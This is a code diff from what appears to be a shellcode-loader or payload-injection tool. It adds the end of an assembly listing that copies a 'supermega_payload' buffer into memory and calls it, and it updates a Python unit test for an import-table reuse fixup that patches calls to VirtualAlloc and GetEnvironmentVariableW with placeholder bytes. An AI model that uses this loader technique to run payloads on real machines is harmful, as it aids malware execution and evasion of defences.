+$LN4@main:
+	cmp	DWORD PTR n$1[rsp], 11223344		; 00ab4130H
+	jge	SHORT $LN3@main
+; Line 28
+	movsxd	rax, DWORD PTR n$1[rsp]
+	movsxd	rcx, DWORD PTR n$1[rsp]
+	mov	rdx, QWORD PTR dest$[rsp]
+	mov	r8, QWORD PTR supermega_payload
+	movzx	eax, BYTE PTR [r8+rax]
+	mov	BYTE PTR [rdx+rcx], al
+; Line 29
+	jmp	SHORT $LN2@main
+$LN3@main:
+; Line 32
+	call	QWORD PTR dest$[rsp]
+; Line 34
+	xor	eax, eax
+$LN1@main:
+; Line 35
+	add	rsp, 2168				; 00000878H
+	ret	0
+main	ENDP
+_TEXT	ENDS
+END

tests/test_asm.py

@@ -6,6 +6,7 @@ import logging
 from phases.compiler import fixup_asm_file, fixup_iat_reuse
 from model.exehost import ExeHost
 from model.defs import *
+from model.carrier import Carrier
 from observer import observer
 
 
@@ -39,20 +40,23 @@ class AsmTest(unittest.TestCase):
         os.remove(path_working)
 
 
-    def test_asm_iat_fixup(self):
+    def test_asm_iat_request(self):
         path_in: FilePath = "tests/data/iat_reuse_pre_fixup.asm"
         path_working: FilePath = "tests/data/iat_reuse_pre_fixup.asm.test"
         shutil.copy(path_in, path_working)
 
-        exe_host = ExeHost()
+        carrier = Carrier()
+        fixup_iat_reuse(path_working, carrier)
 
-        fixup_iat_reuse(path_working, exe_host)
+        self.assertEqual(len(carrier.iat_requests), 2)
-        self.assertTrue(len(exe_host.iat_resolves), 2)
 
-        self.assertTrue("GetEnvironmentVariableW" in exe_host.iat_resolves)
+        req1 = carrier.iat_requests[0]
-        self.assertEqual(exe_host.iat_resolves["GetEnvironmentVariableW"].name, "GetEnvironmentVariableW")
+        self.assertEqual(req1.name, "GetEnvironmentVariableW")
-        self.assertEqual(exe_host.iat_resolves["GetEnvironmentVariableW"].addr, 0)
+        self.assertTrue(len(req1.placeholder), 6) # 6 random bytes
-        self.assertTrue(len(exe_host.iat_resolves["GetEnvironmentVariableW"].id), 6) # 6 random bytes
+        
+        req2 = carrier.iat_requests[1]
+        self.assertEqual(req2.name, "VirtualAlloc")
+        self.assertTrue(len(req2.placeholder), 6) # 6 random bytes
 
         with open(path_working, "r") as f:
             lines = f.readlines()
@@ -63,10 +67,10 @@ class AsmTest(unittest.TestCase):
 
         # 	call	QWORD PTR __imp_GetEnvironmentVariableW
         # 	DB 044H, 0aeH, 06cH, 0b6H, 072H, 07cH
-        self.assertTrue(lines[158-1].startswith("	DB "))
+        self.assertTrue(lines[124-1].startswith("	DB "))
 
         # 	call	QWORD PTR __imp_VirtualAlloc
         # 	DB 0c7H, 0b6H, 0feH, 0dcH, 0b2H, 0c6H
-        self.assertTrue(lines[182-1].startswith("	DB "))
+        self.assertTrue(lines[148-1].startswith("	DB "))
 
         os.remove(path_working)